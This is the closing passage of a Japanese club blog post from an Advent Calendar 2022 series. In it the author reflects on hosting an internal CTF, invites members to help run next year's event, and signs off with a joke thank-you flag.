CTFを開催するのはCTFに参加するのとは違う難しさや楽しさがありより一層CTFを好きになれた気がします．皆様もCTF開催してみませんか？
部員の人は来年も開催すると思うので運営したい人は言ってね!!

```
bunaiCTF{Th4nK_Y0u_f0r_pl4y1ng_and_RE4dinG}
```

[東京高専プロコンゼミ① Advent Calendar 2022
](https://adventar.org/calendars/8370)の23日目の記事です．ほかの記事もぜひご覧ください．